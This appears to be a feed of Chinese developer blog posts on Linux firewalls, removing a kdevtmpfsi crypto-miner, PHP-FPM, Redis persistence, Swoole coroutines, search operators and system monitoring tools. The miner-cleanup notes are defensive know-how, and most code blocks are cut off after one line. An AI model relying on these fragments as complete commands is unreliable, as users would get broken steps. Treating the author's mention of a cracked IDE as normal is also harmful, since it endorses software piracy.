而Linux 原始的防火墙工具iptables 过于繁琐,上手曲线较陡,所以这篇笔记就用来整理 Linux 的 iptables 相关知识。
我们常常会听到这样的说法:“iptables 是一个防火墙”,其实不是,它也不是一个系统服务,所以不能使用如下命令启动/停止/重启。
1 | systemctl start/stop/restart iptables |
iptables 其实只是一个命令行工具,它用来操作 netfilter 内核防火墙,所以真正应用的防火墙应该是netfilter。
当拿到一台Linux 后,iptables就在那里,默认情况下它允许所有流量。
1 | $ sudo iptables -L |
访问过程如下:
1 | iptables -A INPUT -p tcp --dport 22 -j ACCEPT # 允许访问22端口 |
1 | iptables -A INPUT -p tcp --dport 6379 -j DROP # 禁止6379端口传入流量 |
如果想要屏蔽UDP流量而不是TCP流量,只需将上述规则中的 tcp
修改为 udp
即可。
如果需要临时/永久禁用iptables 防火墙,则可以使用以下命令清除所有规则:
1 | sudo iptables -P INPUT ACCEPT |
设置完成之后,不用重启任何服务,其防火墙规则已经刷新了(允许所有流量)。
使用 docker login
登录时,总是会提示如下信息,可是我明明输入的是正确的账号密码。
1 | Error saving credentials: error storing credentials - err: exit status 1, out: Cannot autolaunch D-Bus without X11 $DISPLAY |
因为我使用的并不是最新的 docker-ce
版,而是老版本docker.io
,所以起初我是怀疑版本出现了不兼容的问题吗?
其实不是,这是在 Ubuntu 下使用 docker 特有的 bug ,而修复办法不需要特意去卸载 docker-compose
,只要 “pass” 掉验证步骤。
最终解决步骤如下:
gnupg2
和 pass
1 | sudo apt install gnupg2 pass |
1 | $ gpg2 --full-generate-key |
1 | $ gpg2 -k |
pass
加载验证1 | $ pass init "your key location path" |
至此就已经pass 掉了验证步骤,可以使用 docker login
正常登录了。
将docker 运行起来之后,发现有个不认识的进程 kdevtmpfsi
占用CPU 异常的多,Google 一下才知道,好家伙,服务器被当成矿机了。
直接 kill 并不能将其结束掉,它还有守护进程及可能存在的定时任务。
1 | $ find / -name kinsing // 守护进程 |
如果Redis 是运行在本地,上面两个文件通常是在/tmp/
目录下。
如果Redis 是以容器的方式运行,则通常是在/var/lib/docker/overlay2/
(容器的 /tmp/
目录)下。
1 | $ rm -f kinsing kdevtmpfsi |
这里被感染的容器也不一定是Redis ,比如我的则是PHP,所以需要进入到被感染的容器内才能找到。
1 | $ ps -aux | grep kinsing |
1 | $ crontab -l |
存在定时任务的不一定是当前用户,可以使用以下命令查找其他用户是否存在任务:
1 | $ for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done |
定时任务还可能存在于以下地方:
/etc/crontab
/var/spool/cron/
/var/spool/cron/crontabs/
至此就完成了病毒的清理,网上千篇一律的全是这种处理方式,但这个方式并不适合我,我尝试了很多次,无论我怎么删除,病毒还是存在。
因为病毒是依赖于容器生存的,于是我便将容器停止掉,通过docker logs
实时查看容器最后10条日志:
1 | docker logs -f -t --tail 10 <容器id/容器名称> |
十分钟之后,总算让我逮到了:
虽然目睹了全过程,但这时我依然无能为力,因为我不知道上面那些命令是如何自动启动的。
尝试了各种方式,但都无解,十分钟之后病毒还是会出来,最终我只能把这个被感染的容器给弃用了,重新起一个新的容器。
kdevtmpfsi
病毒的产生,通常是因为Redis 对外开放 6379
端口,且没设置密码或者密码过于简单导致。
所以服务器一定要设置好防火墙,像3306
、6379
这种常用端口,尽量减少对外开放的机会。
早些年的Web 应用很简单,客户端通过浏览器发起请求,服务端直接返回响应。
随着互联网的发展,简单的Web 应用已经不能满足开发者们了。
我们希望Web服务器有更多的功能,飞速发展的同时还能让不同语言的开发者也能加入。
CGI协议协议的诞生就是 Web服务器和其他领域的开发者在保证遵守协议的基础上,剩下的可以自由发挥,而实现这个协议的脚本叫做CGI 程序。
CGI协议规定了需要向CGI脚本设置的环境变量和一些其他信息,CGI程序完成某一个功能,可以用PHP,Python,Shell或者C语言编写。
在没有CGI 之前,其他语言如果需要接入Mysql 或者Memcache,还需要使用C 语言,但有了CGI协议,我们的Web处理流程可以变成下图这样:
CGI程序存在致命的缺点:每当客户端发起请求,服务器将请求转发给CGI,WEB 服务器就请求操作系统生成一个新的CGI解释器进程(如php-cgi),CGI进程则处理完一个请求后退出,下一个请求来时再创建新进程。
我们知道,执行一个PHP程序的必须要先解析php.ini
文件,然后模块初始化等等一系列工作,每次都反复这样非常浪费资源。
FastCGI协议在CGI协议的基础上,做出了如下改变:
long-lived
)应用进程,减少了fork-and-execute
带来的开销我们称实现了FastCGI协议的程序为FastCGI程序,FastCGI程序的交互方式如下图所示:
FastCGI 程序固然已经很好了,但我们的需求总是有点苛刻,它还是存在一些明显缺点的:
php.ini
)后,php-cgi
(FastCGI 程序) 无法平滑重启php-cgi
还没做到上面提及php-cgi 实现的FastCGI问题官方没有解决,幸运的是有第三方帮我们解决了,它就是 php-fpm
。
它可以独立运行,不依赖php-cgi,换句话说,它自己实现了FastCGI协议并且支持进程平滑重启且带进程管理功能。
进程包含 master
进程和 worker
进程两类进程。
master
进程只有一个,负责监听端口,接收来自Web Server 的请求,而 worker
进程则一般有多个(具体数量根据实际需要配置),每个进程内部都嵌入了一个PHP 解释器,是PHP 代码正真执行的地方。
这其中就包括 php8.0
。在8.0
正式出来之前,有听说过加入了新特性:JIT编译。
从理论上讲,JIT处理PHP脚本编译的方式能够提高应用程序的速度,但究竟能有多快呢?下面通过一个简单的例子来看看。
1 | <?php |
这里只是简单的向数据库不重复插入十万条数据。
我知道用这个脚本举例子并不好,但它却是离我日常使用最近的。
php7.3
测试结果:
php8.0
未开启 JIT 扩展测试结果:
php8.0
已开启 JIT 扩展测试结果:
可以看到相比 7.3,足足快了近三分之一!
当然这个测试结果严格意义上来讲,并不准确,但看到数字从四十多秒缩短到三十秒,还是很惊喜的。
我的电脑配置:
前段时间接手一个老系统,其中对于“订单”的处理,非常原始且简单粗暴。
直接通过一个 PHP 脚本不断轮询查询数据库,直到查找到需要处理的“订单”才去处理,否则一直查找。
1 | <?php |
类似的处理还有其他几个脚本。
因为项目的历史包袱较重,也不好做一些大调整,起初我并没有太在意,就直接部署到服务器上了。
就在最近,我收到反馈,系统有问题。通过一系列排查最后发现是因为“订单”处理不及时,“订单”堆积过多导致的一系列问题。
我寻思着,用户量也没有很多,为什么会处理不完呢?使用 glances 命令看了一眼。
这不看不知道,一看吓一跳,CPU 直接警告了。无论多好的机器也经受不住这样折腾,赶紧把轮询查表的方式改成了查队列。
基于Redis 的List 实现一个简单的消息队列,更新到服务器之后,可以看到CPU 直接降了一半。
为什么使用Redis 会比Mysql 的效果要好?
通俗一点解释是因为Redis 存储是基于内存,Mysql 存储是基于磁盘,而内存的读写要比磁盘快不止一个数量级。
当然,上面的处理方式并不是最优的,这里只是单论如何发现性能瓶颈,以及如何调优这一点来进行说明。
]]>后来逐渐看了一些写的比较通俗的文章,加上自己的一些理解,逐步开始对协程有一些认识了。
协程不是进程或线程,其执行过程更类似于子例程,或者说不带返回值的函数调用。
上面那句话很关键,一句话就把协程是什么,不是什么说清楚了。
下面这张图可以很清晰的看到协程与多进程的区别:
下面这段代码主要做了三件事:写入文件、发送邮件以及插入数据。
1 | <?php |
这段代码和上面不同的是,这三件事情是交叉执行的,每个任务执行完一次之后,切换到另一个任务,如此循环。
类似于这样的执行顺序,就是协程。
1 | <?php |
swoole实现协程代码:
1 | <?php |
由上面的代码,可以发现,协程其实只是运行在一个进程中的函数,只是这个函数会被切换到下一个执行。
需要注意的是⚠️:
协程并不是多任务并行处理,它属于多任务串行处理,它俩的本质区别是在某个时刻同时执行一个还是多个任务。
由于协程就是进程中一串任务代码,所以它的全局变量、静态变量等变量都是共享的,包括 PHP 的全局缓冲区。
所以在开发时特别需要注意作用域相关的问题。
在协程中,要特别注意不能共用一个 I/O 连接,否则会造成数据异常。
由于协程的交叉运行机制,且各个协程的 I/O 连接都必须是相互独立的,这时如果使用传统的直接建立连接方式,会导致每个协程都需要建立连接、闭关连接,从而消耗大量资源。那么该如何解决协程的 I/O 连接问题呢?这个时候就需要用到连接池了。
连接池存在的意义在于,复用原来的连接,从而节省重复建立连接所带来的开销。
说了这么多,那协程倒底能解决哪些实际业务场景呢?下面通过一个实例来快速上手协程(笔者当时写这篇文章时,对协程的理解还不够深刻,所以这里引用zxr615 的”做饭“的例子来理解协程):
传统同步阻塞实现逻辑:
1 | <?php |
协程实现逻辑:
1 | <?php |
通过执行代码可以看到协程方式比传统阻塞方式足足快了十三分钟。从协程方式实现的逻辑中可以看到,通过无感知编写”同步代码“,却实现了异步 I/O 的效果和性能。避免了传统异步回调所带来的离散的代码逻辑和陷入多层回调中导致代码无法维护。
不过需要注意的是传统回调的触发条件是回调函数,而协程切换的条件是遇到 I/O。
实际使用协程时,需要注意以下几个误区,否则效果可能会事倍功半。
理论上来讲,协程解决的是 I/O 复用的问题,对于计算密集的问题无效。
有时候我们会有这样一种需求:我需要查找某个关键字同时出现的内容,该怎么做呢?
这个时候就需要用到完全匹配这招了。
在关键字的左右两边分别加上"
英文状态的双引号,如:
1 | "HHKB 是什么" |
为了进一步筛选搜索结果,还需要学会另一招,利用-
减号排除特定关键字:
1 | "the most important benefit of education"-"unitedstates" |
上面这段表示的意思是:要求Google 返回含有”the most important benefit of education” 但不存在”unitedstates”的内容。
1 | daddy -film |
daddy 的意思是父亲,同时也是一部电影,当你搜索”daddy” 时,谷歌只返回有关电影的内容。如果你只想搜索时关于父亲,要排除电影,在需要排除的前面加上-
,例如上面所示。你会发现结果中没有与电影有关的内容。
怎样用?
即搜索字符串中可以包含星号*
,用星号来替代任意字符串。
1 | powerful*life |
当你只想在某个社交媒体里找到相关字词时,在用于搜索社交媒体的字词前加上@
,例如:
1 | @twice |
在各个搜索查询字间加上“OR”关键字,例如:
1 | race OR marathon |
搜索到的结果会返回关于 race 或者 marathon,或两者均有的相关内容。
用这个方法来搜索特定价格的商品,例如想要搜索价格为$200
的书包,可以这样搜索:
1 | $200 bag |
比如想要搜索介于 $100 - $200 之间的商品,或者是 10kg - 20kg 的某种东西,亦或者是 1900 - 1945 年发生的事情,等等。
在两个数字之间加上..
符号,例如搜索价格 $50 - $100 的桌子:
1 | amazon table $50..$100 |
只在特定的网站里搜索相关资料,在相应的域名前面加上"site:"
,例如要在 youtube 里找关于猫的电影,可以这样搜索:
1 | site:youtube.com cat |
想找和某个网站有关系或者相似特质的网站,在已知网址前面加上related:
,例如:
1 | related:google.com |
google.com 是一个搜索网站,加上related:
关键字之后,搜索的结果是其他搜索引擎,如 Yahoo、Bing 等
在关键字前面加上#
符号,
如果你想知道某个网站是关于什么的,可以这样子搜索:
1 | info:baidu.com |
1 | site:channelnewsasia.com ~accident "natural disaster" -earthquake 2012..2016 |
其中波浪符号~
表示也搜索和这个字有关联的内容,如 failure,crash、mishap 等
从两个购物网站搜索手表,价格在 $100 到 $200 之间
1 | site:shopee.com.my OR site:amazon.com watch $100..$200 |
从ebay 与 amazon网站搜索苹果与微软的产品,排除平板电脑
1 | site:ebay.com OR site:amazon.com apple OR microsoft -tablet |
在吉隆坡一带搜索低收费住宿,价格在$100 到 $200 之间,排除 airbnb,靠近轻快地铁
1 | KL ~budget~accommodation $100..$200 -airbnb "nearby LRT station" |
最开始是使用传统的同步阻塞方式实现了一遍,用户体验并不好,发送短信需要等待,等待服务商的接口返回内容,才继续向下执行。
因为最近在学习Swoole,Swoole 中有一个“异步任务”,就特别适合以下应用场景:
结合官网手册和Latent 的基于 swoole 下 异步消息队列 API,最终简单封装了一个处理API 的类,实现如下:
服务端是基于本地Tcp,监听9501
端口。
1 | <?php |
这里的客户端可以是 cli 脚本,也可以是对应控制器中的具体方法,只要能连接Swoole 监听的Tcp 就行。
1 | <?php |
Swoole
,顺手整理一下PHP
中的四种设置回调函数的方式。1 | <?php |
1 | class A{ |
1 | $server->on("connect", "callBack"); |
1 | # 情景一 |
php-fpm
总是启不动,最后索性决定在本地自己装个多版本,可以随时自由切换。是否需要清除旧版本?
因为需要在Mac 上安装其他版本,所以预装的那个版本的PHP 的存在就没啥意义了。
考虑到本机的其他软件可能会依赖它,为了给以后省些事,最后还是决定将预装的版本给移除掉。
事实证明移除了也没关系。
这里说的旧版本指的是Mac 自带的PHP版本。
1 | # /private/etc/ |
执行完上面这些命令就能将旧版本的PHP 彻底的从你的Mac 上移除了。
直到2018年3月底,所有PHP 相关的brew 都由 homebrew/php
tab 处理,但是已经弃用了,所以现在我们使用homebrew/core
包中的可用的内容。这应该是一个更好维护但是不太完整的包。
由于PHP5.6
和PHP7.0
在 Homebrew 上已被弃用,因为以不被支持,虽然不建议在生产环境中使用,但还是可以在开发环境中使用这些不受支持的版本,可以参考:PHP支持的版本。
请记住,Homebrew 正式支持PHP7.1 到 7.3 ,因此如果要安装 PHP5.6或PHP7.0,则需要执行如下命令:
1 | $ brew tap shivammathur/php |
接下来正式开始安装PHP 的各种版本,并使用简单的脚本来进行版本之间的切换。
1 | $ brew install shivammathur/php/php@5.6 |
第一个安装所花费的时间长一些,因为需要安装一堆brew 的依赖,随后其他版本的安装的将很快。
所安装各版本的PHP都在该目录下:
1 | $ ls /usr/local/etc/php |
安装完以上版本的PHP 之后,执行:
1 | $ php -v |
可以看到目前所使用的PHP 版本是7.3(最后安装完的那个),现在试图切换到第一个安装的PHP 版本:
1 | $ brew unlink php@7.3 && brew link --force --overwrite php@5.6 |
unlick
安装PHP 版本之间不再需要联系,因为默认情况下他们是没有符号链接。
再次查看当前版本:
1 | $ php -v |
切换的挺顺利的,但如果每次需要切换时都需要这样输入就变得很麻烦了,幸运的是,一些勤劳的人已经为我们完成了艰苦的工作,并编写了一个非常方便的脚本——PHP切换器脚本。
将sphp
脚本安装到 brew 的标准中/usr/local/bin
:
1 | $ curl -L https://gist.githubusercontent.com/rhukster/f4c04f1bf59e0b74e335ee5d186a98e2/raw > /usr/local/bin/sphp |
完成这些步骤后,就能够使用脚本命令切换PHP版本:
1 | $ sphp 7.2 |
使用时会需要提供管理员密码,相比长长的命令这已经省事很多了。
好了,到这里就顺利的完成了多版本的PHP 安装以及切换。
在不需要切换版本时,使用brew services
命令可以对该版本的PHP 进行管理:
启动/停止/重启 PHP服务:
1 | $ brew services start/stop/restart php |
当PHP 服务启动时,通过查看进程列表,可以发现多了几个名为php-fpm
的进程。
php-fpm
的进程所在目录:/usr/local/opt/php/sbin/php-fpm
这个进程很重要,在与 Nginx 交互时,如果没有启动它,通常会收到 502 Bad Gateway
的错误。
尽管不需要刻意的去管理这个进程,但如果这个进程意外停止运行了,还是要知道该如何启动它。
1 | $ cd /usr/local/opt/php/sbin/ |
用这种方式启动,当使用⌃ C
退出时,进程也会跟着退出。
1 | # /usr/local/opt/php/sbin/ |
如果用这种方式启动,就算退出了当前会话,进程会以守护进程的方式运行着。
最后再啰嗦两句,如果需要把当前5.6版本切换成7.2,那么需要分别做两件事:
1 | # 第一步 |
如果只做了第一步,那么你会发现 php -v
的版本输出的确是 7.2,但php_info()
所打印的结果却还是 5.6。
这是因为机器上安装了多个PHP 版本,当使用php -v
命令时,它将显示默认PHP CLI
的版本,而该版本可能不是网站所使用的版本。
所以找出用于特定网站的PHP 版本的最可靠方法是使用phpinfo()
函数。
php cli
可以正常访问,但是Web 服务却没有办法访问,这是因为安装了PHP,所以可以通过命令行直接访问,但是 php-fpm
却没有启动,所以Web 服务没法正常访问。
启动Web 服务:
1 | cd /usr/local/Cellar/php/8.1.1/sbin |
sphp 这个脚本所做的事情等于以下命令:
1 | brew unlink php@7.3 && brew link --force --overwrite php@5.6 |
只是改变了命令行的版本,Web 服务最终还是要以允许的php-fpm
为准。
什么是持久化?
Redis 所有数据都是存储在内存中的,对于数据的更新将异步的保存在磁盘中,当Redis实例重启时,即可利用之前持久化的文件实现数据恢复。
主流数据库的持久化方式:
Redis 通过一条命令或者某种方式创建 rdb 文件,该文件是二进制格式,存储在硬盘中。
当需要对Redis 进行恢复时,就可以去加载该文件。数据恢复的程度,取决于 rdb文件(快照)产生的时刻。
Redis 生成 rdb 文件有三种方式,分别是:
save 命令有如下特点:
bgsave 命令有如下特点:
save 还是 bgsave?
命令 | save | bgsave |
---|---|---|
IO类型 | 同步 | 异步 |
是否阻塞 | 是 | 否(阻塞发生在fork() |
复杂度 | O(n) | O(n) |
优点 | 不会消耗额外内存 | 不阻塞客户端 |
缺点 | 阻塞客户端 | 需要fork,消耗内存 |
在数据量不大的情况下,其实使用save 还是bgsave 并没有什么差异。
它俩都是需要手动执行命令才会触发机制,那么有没有自动的方式呢?答案是有的。
自动生成策略是根据某个规则来决定是否生成 rdb 文件,这个过程也是一个bgsave 的过程。
默认策略:
|seconds|changes|
|-|-|
|900|1|
|300|10|
|60|10000|
上述配置的意思是:如果在60s 中做了10000 次改变或者在 300s 中做了 10次 改变,或者在900s 中做了 1 次改变,则均会触发bgsave。
1 | #save 900 1 |
Redis 当达到以下触发机制时,也会自动创建rdb 文件。
前面已经提到过了,持久化的目的是为了解决内存异常导致的数据丢失问题,如果真的遇到了这样的情况,RDB 文件又是如何实现数据恢复的呢?
因为开启持久化之后,数据会存储到名为 dump.rdb 的文件中,当 Redis 服务器重启时,检测到 dump.rdb 文件后,就会自动加载进行数据恢复。
在正式介绍什么是AOF 之前,我们先来了解一下RDB 方式现存的问题。
与RDB 不同的是,它是通过保存所执行的写命令来实现的,并且保存的数据格式是客户端发送的命令。
Redis 在执行写命令时,首先写入硬盘的缓冲区,缓冲区会根据以下三种策略去刷新到磁盘中。
always 还是 everysec 还是 no?
命令 | always | everysec | no |
---|---|---|---|
优点 | 不丢失数据 | 每秒一次 fsync | 不用管 |
缺点 | IO 开销较大,一般的sata 盘只有几百 TPS | 丢一秒数据 | 不可控 |
来看这样一种情况:
1 | 127.0.0.1:6379> set name php |
虽然set 了很多次,但是name 的值,只受最后一次set 的影响,所以前面那么多次,其实没有必要也保存到AOF 文件中。
满足所设置的条件时,会自动触发 AOF 重写,此时 Redis 会扫描整个实例的数据,重新生成一个 AOF 文件来达到瘦身的效果。
1 | // AOF |
与 RBD 文件不同,因为AOF 文件的数据格式,是由命令组成的,所以客户端直接执行每条命令就可以将数据进行恢复。
RDB 还是AOF?
RDB 和AOF 有各自的优缺点,那么到底该选择哪个呢? 并没有绝对正确的答案。需要根据实际情况去作取舍,不过通常都是使用混合持久化的方式。
命令 | RDB | AOF |
---|---|---|
启动优先级 | 低 | 高 |
体积 | 小 | 大 |
恢复速度 | 快 | 慢 |
数据安全性 | 丢数据 | 根据策略决定 |
级别 | 重 | 轻 |
混合持久化是通过 aof-use-rdb-preamble
参数来开启的。它的操作方式是这样的,在写入的时候先把数据以 RDB 的形式写入文件的开头,再将后续的写命令以 AOF 的格式追加到文件中。这样既能保证数据恢复时的速度,同时又能减少数据丢失的风险。
那么混合持久化中是如何来进行数据恢复的呢?在 Redis 重启时,先加载 RDB 的内容,然后再重放增量 AOF 格式命令。这样就避免了 AOF 持久化时的全量加载,从而使加载速率得到大幅提升。
RDB持久化
AOF持久化
混合持久化
命令 | 功能 | 实例 |
---|---|---|
free | 查看内存使用情况,包括物理内存和虚拟内存 | free -h 或 free -m |
vmstat | 对系统的整体情况进行统计,包括内核进程、虚拟内存、磁盘、陷阱和 CPU 活动的统计信息 | vmstat 2 100 |
top | 实时显示系统中各个进程的资源占用状况及总体状况 | top |
mpstat | 实时系统监控工具,它会报告与CPU相关的统计信息 | mpstat |
sar | 收集、报告和保存CPU、内存、输入输出端口使用情况 | sar -n DEV 3 100 |
netstat | 检验本机各端口的网络连接情况,用于显示与IP、TCP、UDP和ICMP协议相关的统计数据 | netstat -a |
tcpdump | 用于捕捉或者过滤网络上指定接口上接收或者传输的TCP/IP包 | tcpdump -i eth0 -c 3 |
iptraf | 用来生成包括TCP信息、UDP计数、ICMP和OSPF信息、以太网负载信息、节点状态信息、IP校验和错误等等统计数据 | iptraf |
iostat | 收集显示系统存储设备输入和输出状态统计 | iostat -x -k 2 100 |
lsof | 查看进程打开的文件的工具,查看监听端口 | lsof -i :3000 |
atop | 显示的是各种系统资源(CPU, memory, network, I/O, kernel)的综合,并且在高负载的情况下进行了彩色标注 | atop |
htop | 它和top命令十分相似,高级的交互式的实时linux进程监控工具 | htop |
ps | 最基本同时也是非常强大的进程查看命令 | ps aux |
glances | 监视 CPU,平均负载,内存,网络流量,磁盘 I/O,其他处理器 和 文件系统 空间的利用情况 | glances |
dstat | 全能系统信息统计工具,可用于替换vmstat、iostat、netstat、nfsstat和ifstat这些命令的工具 | dstat |
uptime | 用于查看服务器运行了多长时间以及有多少个用户登录,快速获知服务器的负荷情况 | uptime |
dmesg | 主要用来显示内核信息。使用dmesg可以有效诊断机器硬件故障或者添加硬件出现的问题 | dmesg |
mpstat | 用于报告多路CPU主机的每颗CPU活动情况,以及整个主机的CPU情况 | mpstat 2 3 |
nmon | 监控CPU、内存、I/O、文件系统及网络资源。对于内存的使用,它可以实时的显示 总/剩余内存、交换空间等信息 | nmon |
mytop | 用于监控 mysql 的线程和性能。它能让你实时查看数据库以及正在处理哪些查询 | mytop |
iftop | 用来监控网卡的实时流量(可以指定网段)、反向解析IP、显示端口信息等 | iftop |
jnettop | 以相同的方式来监测网络流量但比 iftop 更形象。它还支持自定义的文本输出,并能以友好的交互方式来深度分析日志 | jnettop |
ngrep | 网络层的 grep。它使用 pcap ,允许通过指定扩展正则表达式或十六进制表达式来匹配数据包 | ngrep |
nmap | 可以扫描你服务器开放的端口并且可以检测正在使用哪个操作系统 | nmap localhost |
du | 查看Linux系统中某目录的大小 | du -sh * |
fdisk | 查看硬盘及分区信息 | fdisk -l |
free
命令可以显示当前系统未使用的和已使用的内存数目,还可以显示被内核使用的内存缓冲区。
语法
1 | free (选项) |
常用选项:-b
:以Byte为单位显示内存使用情况;-k
:以KB为单位显示内存使用情况;-m
:以MB为单位显示内存使用情况;-g
:以GB为单位显示内存使用情况;-o
:不显示缓冲区调节列;-t
:显示内存总和列;-V
:显示版本信息。
字段说明:
关系:total = used + free
vmstat命令 的含义为显示虚拟内存状态(“Viryual Memor Statics”),但是它可以报告关于进程、内存、I/O等系统整体运行状态。
语法
1 | vmstat (选项) (参数) |
选项-a
:显示活动内页;-f
:显示启动后创建的进程总数;-m
:显示slab信息;-n
:头信息仅显示一次;-s
:以表格方式显示事件计数器和内存状态;-d
:报告磁盘状态;-p
:显示指定的硬盘分区状态;-S
:输出信息的单位。
参数
字段说明:
Procs(进程)
Memory(内存)
Swap
注意:内存够用的时候,这2个值都是0,如果这2个值长期大于0时,系统性能会受到影响,磁盘IO和CPU资源都会被消耗。有些朋友看到空闲内存(free)很少的或接近于0时,就认为内存不够用了,不能光看这一点,还要结合si和so,如果free很少,但是si和so也很少(大多时候是0),那么不用担心,系统性能这时不会受到影响的。
IO(现在的Linux版本块的大小为1kb)
注意:随机磁盘读写的时候,这2个值较大(如超出1024k),而且wa值比较大,则表示系统磁盘IO性能瓶颈。
system(系统)
注意:上面2个值越大,会看到由内核消耗的CPU时间会越大。
CPU(以百分比表示)
us: 用户进程执行时间百分比(user time)
us的值比较高时,说明用户进程消耗的CPU时间多,但是如果长期超50%的使用,那么我们就该考虑优化程序算法或者进行加速。
top命令 可以实时动态地查看系统的整体运行情况。
语法:
1 | top (选项) |
选项:-b
:以批处理模式操作;-c
:显示完整的治命令;-d
:屏幕刷新间隔时间;-I
:忽略失效过程;-s
:保密模式;-S
:累积模式;-i<时间>
:设置间隔时间;-u<用户名>
:指定用户名;-p<进程号>
:指定进程;-n<次数>
:循环显示的次数。
字段说明:
top
:系统当前时间up xxx days
:系统运行时间1 users
:当前登录用户个数load average
:系统负载。即任务队列的平均长度。三个数值分别为最近1分钟、最近5分钟、最近15分钟的平均负载。——超过N(CPU核数)说明系统满负荷运行。total
:总进程数running
:正在运行的进程数sleeping
:睡眠的进程数stopped
:停止的进程数zombie
:冻结的进程数us
:用户进程消耗的CPU百分比sy
:内核进程消耗的CPU百分比ni
:改变过优先级的进程占用CPU的百分比id
:空闲CPU的百分比wa
:IO等待消耗的CPU百分比total
:物理内存总量free
:空闲物理内存总量used
:已用物理内存总量buff
:用作内核缓存内存总量total
:虚拟内存总量free
:空闲虚拟内存总量used
:已用虚拟内存总量mpstat命令 指令主要用于多CPU环境下,它显示各个可用CPU的状态系你想。
语法:
1 | mpstat (选项) (参数) |
选项:
1 | -P:指定CPU编号。 |
参数:
ALL表示显示所有CPUs,也可以指定某个CPU;2表示刷新间隔。
sar命令 是Linux下系统运行状态统计工具,它将指定的操作系统状态计数器显示到标准输出设备。
字段说明:
IFACE
:网络设备的名称rxpck/s
:每秒钟接收到的包数目txpck/s
:每秒钟发送出去的包数目rxkB/s
:每秒钟接收到的字节数txkB/s
:每秒钟发送出去的字节数netstat命令一般用于检验本机各端口的网络连接情况,用于显示与IP、TCP、UDP和ICMP协议相关的统计数据。
常用实例:
1 | netstat -aup # 输出所有UDP连接状况 |
df命令 用于显示磁盘分区上的可使用的磁盘空间。如果没有文件名被指定,则显示当前所有被挂载的文件系统,默认以 KB 为单位。
语法:
1 | df (选项) (参数) |
选项:-a
全部文件系统列表-h
以方便阅读的方式显示-i
显示inode信息-T
显示文件系统类型-l
只显示本地文件系统-k
以KB为单位-m
以MB为单位
参数:
iostat命令 被用于监视系统输入输出设备和CPU的使用情况。
语法:
1 | iostat (选项) (参数) |
选项:-c
:仅显示CPU使用情况;-d
:仅显示设备利用率;-k
:显示状态以千字节每秒为单位,而不使用块每秒;-m
:显示状态以兆字节每秒为单位;-p
:仅显示块设备和所有被使用的其他分区的状态;-t
:显示每个报告产生时的时间;-V
:显示版号并退出;-x
:显示扩展状态。
参数:
字段说明:
r/s
: 每秒完成的读 I/O 设备次数。w/s
: 每秒完成的写 I/O 设备次数。rkB/s
: 每秒读K字节数.是 rsect/s 的一半,因为每扇区大小为512字节。wkB/s
: 每秒写K字节数.是 wsect/s 的一半。avgrq-sz
: 平均每次设备I/O操作的数据大小 (扇区)。avgqu-sz
: 平均I/O队列长度。await
: 平均每次设备I/O操作的等待时间 (毫秒)。svctm
: 平均每次设备I/O操作的服务时间 (毫秒)。%util
: 一秒中有百分之多少的时间用于 I/O 操作,或者说一秒中有多少时间 I/O 队列是非空的。iotop命令 是一个用来监视磁盘I/O使用状况的top类工具。
iotop具有与top相似的UI,其中包括PID、用户、I/O、进程等相关信息。Linux下的IO统计工具如iostat,nmon等大多数是只能统计到per设备的读写情况,如果你想知道每个进程是如何使用IO的就比较麻烦,使用iotop命令可以很方便的查看。
语法:
1 | iotop (选项) |
选项:-o
:只显示有io操作的进程-b
:批量显示,无交互,主要用作记录到文件。-n
: NUM:显示NUM次,主要用于非交互式模式。-d SEC
:间隔SEC秒显示一次。-p PID
:监控的进程pid。-u USER
:监控的进程用户。
iotop常用快捷键:
ps(Process Status,进程状态)命令 用于报告当前系统的进程状态。
ps 的用法非常多,这里仅列举一些常用的:
1 | ps -aux | grep <name> # 查看name 进程详细信息 |
glances 是一个用来监视 GNU/Linux 和 FreeBSD 操作系统的 GPL 授权的全能工具。
Glances 会用一下几种颜色来代表状态:
阀值可以在配置文件中设置,一般阀值被默认设置为(careful=50、warning=70、critical=90)。
dstat命令 是一个用来替换vmstat、iostat、netstat、nfsstat和ifstat这些命令的工具。
直接使用dstat,默认使用的是-cdngy参数,分别显示cpu、disk、net、page、system信息,默认是1s显示一条信息。
今天本来打算使用PHPStorm
的,但是突然启动不了了,就是双击应用程序之后,电脑没有任何反应。
因为使用的PHPStorm
是破解的,所以我以为是失效了。
就在我一筹莫展准备重装一遍的,突然想起”要不试试通过命令行启动“?
于是我找到PHPStrom
的包文件之后,尝试通过命令行启动,虽然同样失败了,但是命令行输出了一些信息。
正是这些信息,才让我想起来,今天上午在整理文件时,不小心把PHPStorm
中依赖的一个文件给删除掉了。
于是,马上找到了那个文件并还原了,之后果然能正常启动了。
如果你也遇到了类似的情况,那么可以尝试这种方式,或许能帮助你找到问题所在。
Contents->MacOS
shell
脚本接着无论成功或失败都能输出一些内容,然后利用这些内容去查找问题所在。
]]>在正式回答上面两个问题之前,先来了解一下GD。
GD 是Google 在2012 年4 月24 日推出的一个在线同步存储服务,类似百度的百度网盘,不过不同之处在于GD 不会限速。普通用户默认的存储空间是15 GB。
用户可以将其他用户分享的文件添加到“我的云端硬盘”,这种方式并不会占用用户的存储空间,这个操作相当于是在“我的云端硬盘”中创建了一个软链接,可以快速访问该文件,而文件所有者则还是分享者,如果原作者删除了,那么你网盘里的也会消失。
所以为了解决上述问题,转存的概念便诞生了,它存在的意义是将其他用户分享的文件保存至自己的云盘,类似百度网盘的“保存到我的网盘”功能。
但有所不同的是,如果分享者没有开放权限,那么其他用户则无权转存。
在需要转存的文件上,点击右键,制作一个拷贝,拷贝的文件位于“我的云端硬盘”中。
第一种方式最简单,适用于小文件,不能对文件夹进行 Copy 操作。
Copy, URL to Google Drive 是一个云端硬盘插件。
在目标文件上点击右键,选择打开方式,关联更多应用。
搜索Copy, URL to Google Drive 进行安装。
安装完成之后,还需要进行Google 账号授权才能进行转存操作。
在需要转存的文件夹上 右键-打开方式-Copy, URL to Google Drive,之后点击 Save, Copy to Google Drive,就可以看见正在转存了,如果文件较大时间会比较久。
在Telegram 上有人开发了一个机器人(@GoogleDriveManagerBot),专门用于GD 文件转存。
该机器人可以实现谷歌网盘资源转存以及网盘内资源批量重命名,普通用户仅可绑定一个 GD 账号。
通过简单的命令即可对文件进行转存。
方式一最简单,门槛最低,即使在没有权限的情况下,也能进行Copy 操作,但是效率很低。
方式二、三省事,效率高,但前提是得有权限。
今年的双十一我本来也是啥都没买,
可就在晚上七点左右,线上的某个平台,出了一点问题,订单的盈亏跟用户的余额对不上。
经过一番排查发现是因为处理订单的那个脚本不知为何特别慢,导致大量订单全部堆积在一起了。
因为一些历史包袱的原因,在处理方式上我是知道这个脚本存在一些隐患的。
